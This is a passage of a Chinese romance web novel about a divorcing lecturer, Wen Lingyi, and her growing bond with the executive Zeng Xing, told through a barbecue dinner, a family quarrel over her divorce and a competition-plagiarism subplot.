文令仪被呛得直接喷出水来,捂嘴咳得满脸通红,眼泪都冒了出来。
一瞬间,什么软妹音什么形象管理全飞了,她瞪着泛红的眼睛脱口而出:“你忒么…!”
话一出口,她就僵住了。
完了。
原形毕露。
车内安静了两秒。
驾驶座上,曾行缓缓转过脸看向她,眸底掠过一丝极淡的、几乎难以捕捉的笑意。
他声音低沉,慢悠悠地落下:
“嗯。”
“这样听起来顺耳多了。”
“……”
文令仪捏着半瓶水,整个人凝固在副驾驶座上,很想当场消失。
10. 烟火气
脸都丢尽,文令仪也没了心情继续聊天打趣,讪讪偏头对向车窗,百无聊赖地看着窗外掠过的街景。
车内一时无话,静谧弥漫。
曾行看她安安静静,坐相规矩,不由弯了弯唇。
“待会想吃什么?”
文令仪觉得没脸,面无表情朝着窗户:“随便,我都行。”
傍晚时分,小吃街里人头攒动,拥挤热闹。各类特色的小吃摊林列道旁,看得人眼花缭乱。
一进了这里,她郁结的情绪消散不少,兴头又昂起来。她一眼就瞧见摊子上那一排炸得焦嫩酥软的鱿鱼串,支支饱满厚实,葱蒜混合着焦香的浓郁气息直往鼻子里钻,勾得胃里的馋虫动得厉害。
她笑着对曾行道:“我去买鱿鱼,你要吃吗?”
“不吃。”
“好。你在这等我一下。”说完她三步做两步走到了摊前,选了一串满意的。老板将鱿鱼放到铁板上,一缕白烟突地升起。文令仪看着鱿鱼正滋滋冒着油泡,心情也跟着欢跃起来。
这条小吃街是曾行第一次来,他以前认为这种街头小巷邋遢杂乱,吃的也不干净。或许是寂静的日子过得太久,他今日来竟罕见地不嫌这里吵闹,反而很享受这里的烟火气息。有一种久违的温软鲜活的感觉。
不久,文令仪举着烤好的鱿鱼串回来了。夕阳斜照,她沐浴在柔和的暮阳里,像光里走来的某种精灵。
她笑得眉眼弯弯:“你真不吃?”
曾行回过神:“不吃,你喜欢吃烧烤?”
吧唧咬了鱿鱼一口,文令仪含糊应道:“嗯,喜欢。我喜欢口味偏重的东西,像烧烤、火锅、卤味之类的都合我口味。”
“你呢?喜欢吃什么?”
“能吃的就行。”
“…”这是什么话?这个世界上能吃的东西有成千上万种,这不等于没说吗?
她索性提议:“既然这样,我们在这逛一圈,看看有没有想吃的?”
“嗯。”
两人从街头走到了巷尾,这里店铺虽多,吃食却大同小异:不是火锅烧烤,就是粉面小吃,可选的种类实在有限。
走了一圈,文令仪还是拿不定主意要选哪家。
这条街上几乎每家店的东西都不是曾行平时吃的,他看了会,朝对面抬了抬下巴。
“要么,去那家。”
文令仪看到他指的是一家韩式烤肉店,想到男生大部分爱吃肉,很快同意了。
远远看去,店里的人很多,只余留了一两桌空位。她赶紧加快步子,想过去占位。电光火石间,一辆送外卖的摩托车从她面前飞奔穿过,只差寸余就要撞上。她吓得脸色刷白,这时身后突然传来一股力道,猛地将她拽了回去。
文令仪完全没防备,被这股力道拉得向后跌去,正好撞进身后人的怀里。曾行怕她摔倒,眼疾手快顺势揽住她的肩膀。
“你没事吧?”
文令仪被这疾驰的车子吓了一大跳,她站稳后心依然突突直跳,摆摆手道:“没事,没事。”
意识到刚才是他帮了自己,文令仪赶忙道谢:“谢谢啊,怪我自己不小心,没看到有车。”
和他说话时,文令仪还端正着脸,一转过身她悄悄吐了吐舌头。
怎么好像总是在他面前丢脸…而且,刚才她好像倒他怀里了,感觉他的胸膛还挺…结实。
这家韩式烤肉店装修简约,是当下流行的工业风格。天花板裸露着原始结构,连漆也不涂。墙面张贴了出名的韩剧剧照,还有许多像是积木搭成的韩文。偶有一堵模仿传统韩屋的墙矗立其间,店铺不大,但很有在韩国吃料理的氛围感。
大部分的餐桌已经被占,他们只好坐到了靠近门边的位置。服务员很快拿来了菜单和铅笔,文令仪将菜单递给曾行:“你先点吧。”
曾行扫了一眼,没接:“你点吧,我都行。”
文令仪本想叫他别讲客气,可看他淡淡的神色似乎是真不在意吃什么。她也没再坚持,自己拿笔勾选起来。
“那我自己点了哟。”
“嗯。”
她勾了好几大盘肉,又点了几样寻常人爱吃的蔬菜,叫来服务员递给单子。
“把你的餐具给我吧。”
曾行不明白她要做什么,将餐具递了过去,看到她撕开外面的塑料包装,又在碗里和杯里倒满开水,拿筷子进去仔细涮了涮。
注意到他的目光,文令仪动作微顿:“怎么了?你平时出来吃饭不烫碗么?”
这时服务员端来了许多小碟子菜。等他走后,她看到曾行一一把它们对得整整齐齐摆放,修长的手指劲节分明。
“嗯,很少。”
文令仪将洗过碗的水倒进一个小盆子里,将碗递给他:“出来吃饭还是洗一下的好,吃着放心。”她心里疑惑,他看起来是很讲究的人,出来吃饭难道从不烫碗么?
洗完碗后又等了会菜就上来了,几乎堆满了整张桌子。
曾行怔了怔:“多了吧?”
“不多。你太瘦了,得多补补。”
“…”
曾行看了看,从旁边的一个小桶里拿出把长夹,夹了片雪花牛肉放到烧烤架上,顿时“滋啦”一声冒出白气。
和他一起将整个架子放满肉,文令仪道:“我去买奶茶。你喝么?”
“不喝。”
来的路上,他们经过了好几家奶茶店,都离这里不远。趁着烤肉还没熟,她起身去买奶茶。吃着热乎的烤肉,再配上奶茶,简直仙品。
她挑了杯爱喝的□□美莓,虽然曾行说了不喝,她还是琢磨着他的口味买了一杯带回去。
在外呼吸过清新空气,再推门而入时,烤肉的油香与烟火气扑面而来。
也不知他这样的讲究人,受不受得了这味道。
她很快一眼就望到了他在的地方,他正低头看手机,修长的手指在屏幕上滑动,好像并没有不习惯这里的环境。说也奇怪,她总觉得他自带了一种气场,无论在哪都有一种和周遭的环境隔离开的感觉。
她把奶茶递给他:“我还是帮你买了杯,可以试试味道。”
曾行愣了下,接过了奶茶。
低头看了眼自己的盘子,文令仪傻眼了。里面装满了肉,但是几乎每一块都是黑漆漆的,没有一块烤得完好的肉。
这要怎么吃?
曾行看了眼她极力忍耐的古怪神色,也觉这肉惨不忍睹。他单手托着手机转了转,试图掩去尴尬:“抱歉,技术不到位。”
文令仪明白了,这个大男人平日里一定养尊处优,四体不勤,是根本就不会烤肉。
她努力控制抽动的表情:“别吃这些了,我来烤。”
烧烤架也已经焦黑,满沾剥裂的黑块。她叫来服务员换了个架子,将肉放上去。
文令仪熟练翻着肉,很快就有几片烤熟了。她挑了一片肥瘦相间的,蘸上酱汁,用翠绿的生菜妥帖包好,笑着递给他:“来,尝尝我的手艺。”
曾行打量了一眼,接过来。肉片火候恰到好处,咬下时汁水漫溢,与清新生菜交融,格外鲜香。
文令仪期盼地看着他:“觉得味道如何?”
“还不错。”
得到这句认可,文令仪又接连烤了好几盘。两人偶尔闲聊几句,不知不觉间,盘中的肉已消下去大半。
想到她在办公室说的话,曾行问道:“你似乎对营销挺有研究?”
文令仪一愣:“你听到我说的话了?”
“嗯。我就在旁边,办公室隔音不好,听到了。”
她心里鄙夷,宏天这样大的公司竟然用的是劣质墙。
“谈不上研究,就是偶尔看到的观点,记住了。”
“现在营销不好做,特别在实体这一块,受电商的影响很大。”
“实体营销倒是可以参考日商的做法,从商品的亲身体验和服务入手,让客户获得亲切舒适的高体验感,对产品产生信赖和亲近。不过,”文令仪朝他wink一下:“如果实体店愿意与时俱进,发展线上销售,效果更好哦。”
曾行一向自诩镇定,可此刻也有一瞬的失神。他略微不自然地移开了眼:“有道理,与时俱进才是真理。”
这时,一名女服务员拿着宣传单走了过来。她头戴粉色的kitty猫发箍,围了条爱心状的围裙,笑得十分殷切。
“两位好,
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请问对这次的用餐满意吗?”
文令仪点点头:“挺不错。”
“是这样的,今天是我们的老板结婚纪念日,只要是情侣在我店打卡拍照,转发至朋友圈,便可享受6折优惠奥。请问两位要参与吗?”
听到“情侣”二字,文令仪心咯噔了一下,下意识去看对面的男人。
怕他不喜,她摆摆手道:“那个…我们不…”
“不考虑吗?没事,不用急,你们买单时再决定好啦。”
文令仪拿起服务员留下的宣传单,看到上面画了一对很Q的情侣娃娃,喜气洋洋。
可以打6折欸,这餐饭等于省了一半的钱。对于现在的她来说,很有诱惑力。
要不,试着和他说说?他看着也不像不通情理的人,说不定答应了呢?
她压低了声音道:“要不我们凑合一下,拍个合照参加活动?”
曾行牵起嘴角:“你很缺钱?”
“…”一句话堵得文令仪快背过气去。她脸上腾地烧热起来,讪讪闭嘴。她最近的确手头紧,没想到这么快被他看出了端倪。
更让她有点无地自容的是,对面的人帮了她,她是来请人家吃饭的,而且两人也不是情侣关系。她为了省钱提出这种要求,确实不太妥当。
她低头用叉子一下一下戳着盘子,想掩饰自己的羞窘:“也不是…我是看着折扣力度大,动心了。”
“还吃吗?”他问道。
“不了,吃饱了。”
两人一起去收银台,服务员看着是一男一女,又把活动说了一遍。
文令仪道了句“不用”,点开手机准备扫码,却听曾行道:“要怎么拍?”她蓦地抬头看他,怀疑是不是自己听错了。
服务员马上热情讲解:“只需二位在店里的任意位置拍个合照,转发到朋友圈就行。”
文令仪用手挡嘴,小声道:“你真想拍?”
“折扣大,不要白不要。”
文令仪笑起来:“好。发完朋友圈,你马上删掉就行。”
两人就近找了个贴满韩剧海报的位置。文令仪举起手机对准自己,看到旁边的男人配合地俯身入了相框。他似是不习惯拍照,连脸的角度也不找,随意看着镜头。但奈何人家天生丽质,360度无死角,脸随便拍哪个位置都好看。
文令仪自诩生得还算不错,但在他面前毫无优势。不禁在心里腹诽,又不是女孩子,生得这么清秀干嘛…
他们站的位置背后恰好贴了一张巨幅的韩剧海报。男女主深情对视相拥,四周漫天飘雪,玉麟飞舞,十分浪漫。
突发奇想,文令仪提议道:“不如我们俩蹲在他们旁边,做出看到他们这么浪漫,很惊奇的样子,好吗?”
曾行看了看海报,皱起眉头:“你幼不幼稚?”来不及反应,手肘已经被身边的人拉了过去一起蹲下。
“来嘛,这样拍出来一定很有趣。”
他看到镜头里的女生一手拿手机,一手捂嘴,两只眼睁得圆圆的,眉毛挑高,做出惊奇貌。
心里还是鄙夷,但此时氛围到位了,他不配合好像有点扫兴。迟疑一下,他牵起一边嘴角,摆了张酷脸。
“咔嚓”一声,文令仪点了快门。照完后,她仔细看起来,自己的表情很滑稽,身旁的男人则是一张帅帅酷酷的脸。
画面很不和谐,但反正也是用来打折了,够了。
“我发给你?”
“嗯。”
服务员看完合照,文令仪迅速删掉了朋友圈的照片。但她觉得这张照片实在有趣,迟疑一下,还是没有从手机里删掉。
原价四百多的饭,最后只出了两百多,算是捡了个大便宜。
心情颇好,出门后她步子轻快,包在手中晃呀晃。
“刚才谢谢咯。对了,认识以来,还不知道你的名字。请问尊姓大名?”
顿了顿,旁边的人道:“曾行。”
停了片息,他又道:“你呢?”
“文令仪。我的名字来源于《诗经》。意为‘和乐平易的君子,无不风度优雅’。怎样?好听吧?”
曾行轻哂:“和你,差距挺大。”
“?”
11. 章鱼手
自从那日和曾行出去吃饭,文令仪和他就再没联系过。一周过去了,她偶尔想去“调戏”他。但一想到那日他听到自己名字的反应,兴致全无。
她这样优雅、美丽、温润的人,配不上“令仪”二字?
他竟然还笑。笑屁!
就算是个炮友,也得给点情绪价值吧?
将他抛到脑后,抽出没课的一天,文令仪打算回趟家。
她已经一个月没见到父母了,回去的路上,她绕道去超市买他们平常爱吃的东西。在货架前挑奶粉,眼前浮现出父母往日平和慈祥的笑脸,心里不是滋味。
也不知他们听到贺天翔说了什么。父母年纪大了,还要操心她的事,受别人的闲气。她觉得很过意不去。
手机这时突然嗡嗡震动,按响免提后,传来了爸爸的声音:“令令,待会你的叔伯、姑姑他们也会来。大家一起商量下离婚的事要怎么办。”
她的心顿时提起来:“有必要弄这么大阵仗吗?”
“离婚也算件大事,人多主意也多。”
“我看他们是来幸灾乐祸的。”
她小声叨了句,可还是被父亲听清楚了:“欸?等会见到他们你可不能这么说啊,大家也是关心你,别想多了。”
文令仪在心里冷笑,他们家的亲戚是什么德行,她门儿清。真正关心她的没几个,多半是来看笑话的。
挂掉电话,她满心不悦,烦躁像藤蔓一样疯狂蔓延。这些亲戚里要属两个姑子最势利眼,平日里喜欢拜高踩低,攀比虚荣,尤其喜欢和身边的人比较。偏偏自己能力不行,赚不到几个子。
心比天高,现实骨感。久而久之,她们身上形成的那股子酸气,隔着几丈远都能闻到。听到她离婚的消息,指不定怎么乐的呢。
得,回去以后肯定有场硬仗要打。
回到家刚进门,文令仪闻到了一种熟悉的气味。说不清楚到底是种什么味,只知道是关于家的独有气味。闻到就会令人感到放松、温馨。
可惜本应该是件愉悦、惬意的事情,偏偏要面对令她头疼的场面——家里不大的客厅沙发上坐满了正叽叽喳喳等着看好戏的人。
看到她回来了,大姑吐掉嘴里的瓜子喊道:“是令令回来了,快过来坐。”
“没事没事,我有座。”
不想和他们挤在一起,文令仪搬来了一张小板凳坐下。
大伯父喝了口茶,对她道:“今天学校没课?”
“没有。”
大伯母:“当老师这点就是好,假多,轻松。我早劝我们家建宇当老师,但他就是不听。现在当了记者,天天忙得像陀螺,风里来雨里去的,一年到头都看不见人。”
大姑:“你家建宇当年成绩那么好,做这个工作确实可惜了,太辛苦,也难出头。”
大伯母恨铁不成钢的样子,一只手砸另一只的掌上:“就是说嘛。讲他也不听。”
小姑这时插进话道:“算了算了,孩子大了,都有自己的选择。记者也算好工作,说出去好听,工资也不差。最重要的是,他娶到了好老婆,婚姻幸福啊。你看看,你们家都生二胎了,我们家还没个影。”
大伯母:“你们家若熙生得这么水灵,追的人不少吧?是不是自己瞧不上眼啊?”
小姑嗤了一声:“别提她了,说起就烦。也不知哪根筋不对,给她介绍的都看不上。真不知她到底想找个什么样的。”
提到孩子们的嫁娶,文令仪眼皮一跳:话头要转到她这了。
果然,下一秒,小姑就看向她道:“令令啊,天翔在群里说的是真的吗?你们真要离?”
文令仪装作不经意瞄了眼父母,爸爸还算淡定,妈妈的脸上明显难看起来。
她非常想避开这个问题,但是众人就像筑起了坚固的铁笼,她无路可逃。
拿着手机的手紧了紧,她道:“嗯。”
大姑立即“啧”了一下,满脸惋惜:“怎么会这样?天翔他看起来挺靠谱的啊。”
大伯母紧跟:“结个婚不容易,怎能说离就离?他为什么想离婚?”
文令仪语气平淡:“不知道。他要离就离呗。”
大姑:“话也不是这样说,要是有挽回的机会,当然是不离的好。女孩子家就算事业做得再好,终归还是要结婚的。身边有个人陪伴帮衬,总比一个人强。”
小姑:“是啊。你看我和你姑父,虽说我们学历不高,也没赚什么钱,但是两人恩爱,平常做什么都一起,日子也过得红火美满。是不是你平时只顾工作,对他的关心太少了?我和你说,男人不管在外面多要强,回到家都喜欢一个温柔贤惠的妻子。要多关心他,他才会觉得温馨,有归属感。”
文令仪在心里翻了个大白眼,要她在家里温柔贤惠,那也得他回家才行啊!一天到晚人都看不到,她对着空气做贤妻吗?
大姑:“是啊,其实女人这辈子赚点钱,能把家顾好就行,用不着事业上太拼。你再好好和天翔说说,姑姑觉得他可能是一时生气,不至于真的想离。”
“不了,他想离,我也想离。挺好的,就离了吧。”
小姑:“别赌气说这话,夫妻间哪有不吵架的?一时生气也正常。你年纪也这么大了,该为自己多考虑,离了再找个好的也不容易。”
“那就不找了呗。”
大姑的声音扬起来:“不找那怎么行?你现在连孩子都没生,老了谁照顾你?”
“上养老院待着。”
小姑:“令令,我们是过来人,年轻气盛谁都有,但你得看清现实!我们吃过的盐比你吃过的饭还多,不会害你!”
“奥,怪不得你这么闲。”
她们坐得近,小姑听清楚了她说的话,脸上变了变,但还在强装笑颜:“你书是读得多,但过日子的事还真不一定懂。姑姑说这些都是为你好。”
“你懂还混成这样?”
客厅骤然安静。
小姑整张脸霎时涨红,又由红转青,眼里最后那点笑意也消失殆尽。
这时,文爸爸低声斥了句:“令令,怎么说话呢?快道歉。”
压抑的怒火就像一氧化碳遇到火星子,瞬间爆炸。文令仪站起身,眼眶通红,泪水却倔强地不肯落下。她不再看任何人,转身走进房间,重重关上了门。
文妈妈也觉得有些对不住亲戚,赔笑道:“对不住啊,可能她…心情不太好。”
文爸爸也打圆场道:“是啊,还请大家多谅解。我知道你们也是关心她,为她好,她会懂的。再说,离婚现在也不是什么大不了的事。咱们家又不缺钱,令令她也有能力照顾好自己的生活。那小子不懂珍惜就不跟他过。自己好好过日子觉得开心就行。”
小姑叹口气:“也是,现在社会比以前开放了。令令她能力强,学历高,看不上我们也正常。不过啊,离婚到底也是件重要的事,哥,你还是再劝她好好想想。我们都是过来人,经历的事多,没看到有几个女人离了婚会过得好。”
其他几人也说了几句劝慰的话,觉得再坐下去也没意思,便找借口陆续离开。
走出楼道,小姑确认周围没人,立刻狠狠啐了一口:“你看她那德行,还当自己是个宝呢!都黄脸婆了,还离了婚,谁要她?呸!”
“你和她气什么!我见过不少博士,性格都像她这样,怪里怪气的。所以说啊,女孩子学历再高,婚姻也不见得幸福,读这么多书有什么用?你看上回我和你说的同学家的女儿,也就大专毕业,但是嫁得好啊,老公家里做生意的,家产有千把万,现在过得别提多滋润。你可得让若熙好好挑,将来肯定比她强!”
“那当然,”小姑挽住姐姐,声音终于透出畅快:“嫁对人,才是女人一辈子最要紧的事。有好的资源,你可一定要介绍给我啊!”
“放心,包在我身上。”
南方冬日的阴天好像一个弃之不用的巨大器皿里长满了霉菌,沉闷,潮湿,连人也觉得身上总有一股干不了的潮气,待久了也会变成菌体。
文令仪双手抱膝静坐床上,呆呆看着窗外阴霾的天。外面的天是灰蒙的,房里也阴暗。她俨然是一块小小的霉菌斑。
“咔哒”一声响,文父推门进来:“令令,出来吧。”
她像蜗牛一般缓慢地出了窝,看到父亲一脸严肃,母亲低着头,不断叹气。
走过去坐下,她低着头,垂眼看着地板。
文父:“我知道你心情不好,但人家毕竟是长辈。当着他们的面,不该那样说话。”
委屈似洪水猛兽来袭,文令仪终于忍不住开始流泪:“他们是安的什么好心吗?他们是幸灾乐祸来看我笑话的!”
文母的手肘本来支着脑袋,眉头紧蹙。听到她的喊声立即坐直了身子:“你冲你爸发什么火?晚辈对长辈不敬,本来就是错的!”
紧紧抿唇,文令仪的眼泪像断了线的珠子不断往下落,却不再答话。
到底是心疼女儿,文母看到她哭心像针扎一样难受:“那个贺天翔也不是东西,说离就离,还往群里发,闹得大家都知道了。你和他都协商好了吗?什么时候去办离婚?”
“没有。他狮子大开口,房贷我每月都付了钱,但是他一分都不想给我。我现在在找靠谱的律师咨询,打算到时候提起诉讼。”
文母听完啐了一口
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:“呸!什么玩意儿。”
文父沉默半晌道:“这个男人不能跟。我和你妈支持你离,该是你的东西就去争取,需要我们帮忙的尽管开口,别一个人担着。”
“嗯。谢谢爸爸。”亲人的力量是坚强的后盾,弥补了生活的破碎。一股暖流冲进文令仪的心间,她又忍不住想大哭,赶忙用手擦了几把泪,把泪堵了回去。
文母:“你爸说得对,不管你怎样抉择,我们都会全力支持你。”
“嗯。”
她没有胃口,在家随意扒了几口饭就出门了,心里堵得慌,她给闫静发了条信息。
“今日回家,遭到八卦亲戚围剿。你猜后续如何?”
对面可能不忙,很快回复了:“我们的大女主大杀四方了?”
“bingo!答对了。我恨不能自己是条章鱼,一次能扇八个!”
对面回复了个“噗哈哈哈”的表情包,然后道:“你们家那帮喜欢嚼舌根的人,是不能轻易放过。跟踪的事怎样了?”
提起这茬,文令仪更加郁闷:“别提了,脸都要丢到西班牙。”
“?”
她只说了自己在宏天崴脚的事,略去了和曾行之间那个意外的吻。
要是说出去了,可能可以承包闫静一整年的笑点吧…
和闺蜜聊了几句,她稍微松畅了点,回到小区已经是晚上9点多了。
停好车后,她快步往回走。小区里这个点外面已经没什么人,路灯照不到的地方漆黑昏暗。她走到一片低矮的树丛时,看到一对人影突然散开,好像惊弓之鸟,倏地跑开了。
她止步愣住,明白自己是打扰到了一对正在热恋期间的小情侣了。
曾几何时,自己也像他们一样,不管不顾沉浸在爱情里,整个世界像是只有他们两个。热烈,纯粹,一点瑕疵都容不下。
这样的爱情,大概不会再降临在她身上了吧?
她站了一会,觉得了冷。拿起手机看了眼时间,正抬脚要走,看到Soulmate发来了一条广告。
“嗨~你在干嘛?快来遇见心动的Ta吧!”
噫。她嗤之以鼻,又是广告,但脑袋里却自动代入了一个人。
真爱难寻,所以没必要认真。她不是正巧认识了一个可以打发寂寞的人吗?
她点开图标,发出了信息:“嗨~在干嘛?”
曾行一个人躺在沙发上,额头覆了一层因疼痛渗出的汗水。他服了药物,可这次好像胃疼得很严重,药没有作用。
如同墨一般黑的房里,他静静躺着,手机屏幕的亮光照在脸上。他眼皮动了动,不想理睬。
一个小时后,文令仪依然没收到他的回复。她犹豫了下,拨了通语音过去。
响了很多声,就在她以为曾行不会接时,传来了他低沉沙哑的声音。
“喂..”
“在干嘛?”
“有事吗?”
文令仪听出了他声音里的不对劲:“你是不是不舒服?生病了?”
曾行没有否认,沉默以对。他疼得难受,也很烦躁,一个字都不想说。
对面又传来了讲话声。
“你哪里不舒服?吃药了吗?要不要去医院?”
他握着手机的手有些脱力:“不去。你没事我就挂了。”
“欸,欸?喂?”文令仪还没说完,那头就挂断了。她无语至极。这人是怎么回事?关心他还这么冷漠。不过他听起来很难受,或许是真病了。
曾行刚闭眼,又听到了手机响。他打开,看到进来了三、四条信息,都是她发来的。
“要记得吃药哟~”
“生病了要及时看医生,这样才乖~”
“你到底是哪不舒服?可以和我说说。”
“…”
他看完后把手机扔在一边。这女人真烦…
曾行合眼躺了会,又听到了铃声。看到又是她。
“我买了热粥,在你楼下。你还好么?”
黑暗里,他的眼睛一时不能适应手机的光,待看清楚时,他愣了愣。她竟过来了?
文令仪无法进小区,站在外面等。深夜的风寒冷,她提着保温桶的手已经冻得冰凉。
对面一直没回复,不会是病得太严重晕过去了吧?也不知他家里是什么情况,电话那头冷冷清清,似乎也没人照顾他。
本不应该对一个炮友太关心,但他之前帮了她的忙,考虑一下,她还是买了份热粥送过来。
半晌后她收到了一条信息:“关你什么事?”
她望着屏幕愣住了,呆呆站了会,将保温桶留在了保安室转身就走。
12. 死了老公才发家
发出这条信时,曾行心里烦躁。在手机上快速敲出几个字就关机了。但很快,歉疚像努力冲破土壤的芽,从心头冒出,不断生长。
他脑海里浮现出她纤细的身影站在冷风里等待,还是在深夜。
该死!他睡不着了。
长久以来,他习惯了一个人生活,无论遇到什么都是自己解决。
真不知她多什么事,偏要来送粥。
又躺了会,胃疼稍稍减轻了。他撑身坐起来,随意披了件外套下了楼。
走到保安室,他看到桌台上放了只粉色的保温桶,孤零零地立在角落。好像一个无人认领的小孩,已经委屈地在这等了很久。
保安看到他道:“小伙子,你怎么才来?你女朋友都走了好久了。”
不想多解释,曾行走进去拿桶。
等他转过身,听到大爷又道了句:“这女娃娃人不错,天这么冷,大晚上的还过来送吃的。哆嗦着站了很久才走。”
秘书袁很明显感到总裁今天的心情不好。他在进办公室后瞟了眼桌上的绿萝,斥责上面落了灰;开会时一共点了五位高管提交的策划案上的标点错误,大发雷霆;
最令他不能接受的是,总裁大人嫌弃地看了眼他新剪的发型,嗤了句:“换了吧。丑。”
“…”秘书袁最在意的就是他的发型。俗话说,是可忍孰不可忍。
他要辞职!!!
这个想法冒出来的下一秒,他听曾行叫他:“袁朗!你给我过来,这是写的什么策划案?”
“马上!”袁朗一怒之下怒了一下,坚持了一秒钟的“辞职”。
忙碌了一上午,曾行终于对新提交上来的商业街策划表示了暂时的满意。秘书袁紧绷的神经终于放松,额头和背上的汗出了一层又一层。
他收拾好文件,看到曾行递给他一个圆圆的,粉色的桶。不可思议地瞪大了双眼。
曾行没理他异样的表情:“里面是粥,去帮我热下。”
“曾总今天不吃李厨的饭了?”
“嗯。今天喝粥。”
秘书袁虽然觉得奇怪,但不敢多问,提了粉色的小桶桶去热粥。
十多分钟后,热腾腾的粥送来了。曾行看到她熬的是红枣桂圆粥,再普通不过,但放的食材很好。桂圆饱满浑圆,大枣味道香甜,米也熬得绵密。
他尝了一口,味道出乎意料地不错。桂圆和红枣的香都入了粥里,喝起来糯甜可口。
不管怎么说,她昨日也是一番好意。
他是不是对她的态度有点恶劣了?
在曾行那吃了个闭门羹,文令仪回去的时候心堵了一路。
她的脑子是被门板夹了变弱智了吗?不过就是约炮网上随意认识的人,病不病的和她有什么关系?
回到家,她立即钻进浴室,打开智能音箱,选了首很吵的摇滚乐,将水调大。
站在花洒下,任大水冲刷自己的脸,摇滚乐强烈的节奏刺激着她的神经。
今日发生的所有不愉快随着水和音乐变得稀薄,她精神渐渐放松,哼起歌来。唱得嗨了,她的手做出握话筒的样子放在嘴边,身体摆动,摇头晃脑。
这个澡洗了一个小时,她才从浴室出来,郁闷的心情已经消散大半。
吹干头发,她坐在床上刷手机,看到Soulmate的图标虽然觉得有点刺目,但已没了大石压迫胸间的憋闷感。
切,一个炮友而已,不理就不理。
孤家寡人挺好,看那些女企业家,不都是死了老公才发家?
次日醒来,她看到工作群发来信息,参加的“海城杯”的比赛快到了校赛的遴选时间,只有在这一轮突围,才可以进入省赛PK。
整个课程的设计框架已经做出来了,但还缺乏了核心的亮点。对于比赛来说,如果想拿头等,只有亮点才可以让设计的东西从海量的作品里突显。她也一直苦恼到底要如何找到这个关键的部分。
在网上四处瞎逛,一篇帖子的标题吸引了她的注意。
半月后的会议上,教研室主任杨啸召集老师们开会。
“今天除了布置期末工作,还有一件重要事项宣布。我们教研室共推选两部作品至学院,最终由上级决定谁代表我院参赛。”
每个专业只能推选一个名额,因此竞争激烈。消息一出,大家屏气凝神,气氛变得肃然起来。已经提交了作品的老师明显表情崩紧了,注意力都放到了杨主任身上。
“经教研室专家组评议,我们最终推选文令仪老师和沈缪老师的作品。两位的设计都非常优秀,最终谁能出线,交由学院领导定夺。”
结果出来,响起一阵窃窃私语声。
吴秋眠手放下面朝文令仪悄悄鼓掌:“恭喜。”
文令仪咧嘴一笑:“谢谢。”
吴秋眠压低声音道:“不过,我没想到是沈缪和你PK。她上次不是瞧不起这个比赛,说不参加吗?”
“谁知道呢?或许她觉得芝麻也是菜吧。”
吴秋眠撇嘴:“没品,当面一套,背地里一套。”
比赛暂时过了第一关,文令仪心情不错,不在意沈缪的小动作。散会后,她准备下楼,遇到了金融教研室的一位老师,姓赵,平素里两人交情不错,又许久没见面了,站在楼梯闲聊了几句家常,话头又转到了工资上。
“真要命,这月工资又延迟了,真不知上面的人一天到晚忙什么,连工资都不发。”
学校延迟发工资是常有的事,多半原因是各系部没有按时提交工作量的结算。文令仪也常为此苦恼,特别是她以前需要还房贷的时候。
“是啊,口袋的钞票薄情寡义,身上的肥肉倒是不离不弃。不过是吊着一口仙气活着。”
赵老师觑着她脸上的苦恼不像装的,笑着道:“怎么,我们一向潇洒的文老师也会为钱烦恼么?”
“怎么不烦?现在到处都要用钱。”
知道她也要评职称,赵老师问道:“我听说你那个比赛的设计做得不错,没少花钱吧?”
文令仪无奈点头。
“这玩意真不容易弄,又烧钱又费劲的。我听说和你一起比的那个沈老师还花大力气去找了宏天的什么管理人员,想借用里面的场地,但是没成。”
原来她没做成,文令仪怔了怔。
“在哪拍摄并不是最重要的,她其它的做得不错,和我一起过了系部的初赛。”
“嗯,不过…”赵老师看四下没有认识的人,凑近她小声道:“我听说…你俩做的东西挺像的,是不是撞题了啊?”
赵老师是学校的老骨干,各个教研室熟悉的人多,彼此间也有往来。她听到的消息一般不会有错。
文令仪心里一惊,立马懂了她是什么意思。
“我知道了。谢谢赵老师。”
“嗐。和我客气什么。”
赵老师走后,文令仪转身去了经济学院的院长办公室。
一路上,她的心砰砰直跳,脑内翁鸣轰轰,三步并作两步跨上楼梯。
希望这件事,不是她猜测的那样。
学院的院长是位女教授,名叫曾听澜,年纪轻轻就获得了国内许多经济大奖,在业内颇有声名。
她看到文令仪气喘吁吁进来,抬头问道:“文老师,好久不见了,有事么?”
文令仪深呼出一口气:“我想…麻烦曾院帮我查一件事。”
大理石的桌面折射出暖黄的灯光,曾行随身套了件居家的衣服,安安静静吃着饭。
曾听澜只有这么一个侄儿,分外疼爱。知道他平日里很忙,最近还生病了,特地叫他来家里吃饭。
她目不转睛看他啃完一只鸡腿,才觉得满意:“你也真是,我说了多少遍要爱惜自己的身体,怎么又搞坏了胃?”
曾行独来独往惯了,与亲戚们的关系都很淡漠,唯独和姑姑走得近些。她还
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经常向袁朗打听他的近况,他也瞒不住。
不想让姑姑担心,他道:“没事,这次发作得不厉害。”
曾听澜不自觉地声调高起来:“还说没事?我听小袁说,你养了至少一周才好。”
“你呀,打小就这样,什么都不肯说,自己扛着。”她叹口气:“也怪我哥哥他们,对你的关心太少了,弄得你总不喜和人亲近。要不是我自己去问,根本不知道你病了。”
“真没事,就是吃坏了肚子。”
曾听澜见他面色平静,毫不在意这件事,不满起来:“什么没事没事的,医生已经警告了,再不注意,胃就别想要了。你说你,明明特意请了人在公司给你做饭,非要出去吃烧烤。也太不懂事了。那日是去见重要的客户么?为什么要答应吃烧烤?”
不知要怎么解释这件事,他那日也没想到文令仪会点超出他预期的份量,加上说她确实烤得很可口,他一时没控制住…
“没有。就一普通朋友。”
“那你为什么要出去吃?平白自己遭罪。”
“可能因为…那天天气好?”回想起那日,夕阳晚照,喧阗的小街,还有拿着鱿鱼笑得满足的人。
天气也算得不错吧。
“…”这是什么理由?曾听澜不解,但她也不想深究,因为曾行素来就是慵懒怕麻烦的性子,问多了他会烦。
“天气好,多出去走走倒是对的。”她正要继续说,突然放在桌上的手机响了。
曾行舒口气,他总算可以暂时摆脱“拷问”,继续吃饭了。他夹起一块鸡翅放碗里,听到姑姑的手机声音开得挺大,从里传来了一个熟悉的声音。
“曾院,所有的关于我们课件的制作过程还有花絮等等,我都发您邮箱了。麻烦您过目。”
“好,我一定会仔细看,到时会给你一个公平的答复。”
她挂掉电话,眉头蹙拢,脸色变得凝肃。
曾行问:“谁打了电话?让我姑愁成这样。”
“我们院一名老师。她这次参赛的作品出了问题。对了,她的比赛作品还是在你们公司拍的。”
“我们公司?”最近来他们公司的拍摄的只有她,加上那声音,曾行已经确定就是文令仪了。
“她的作品怎么了?”
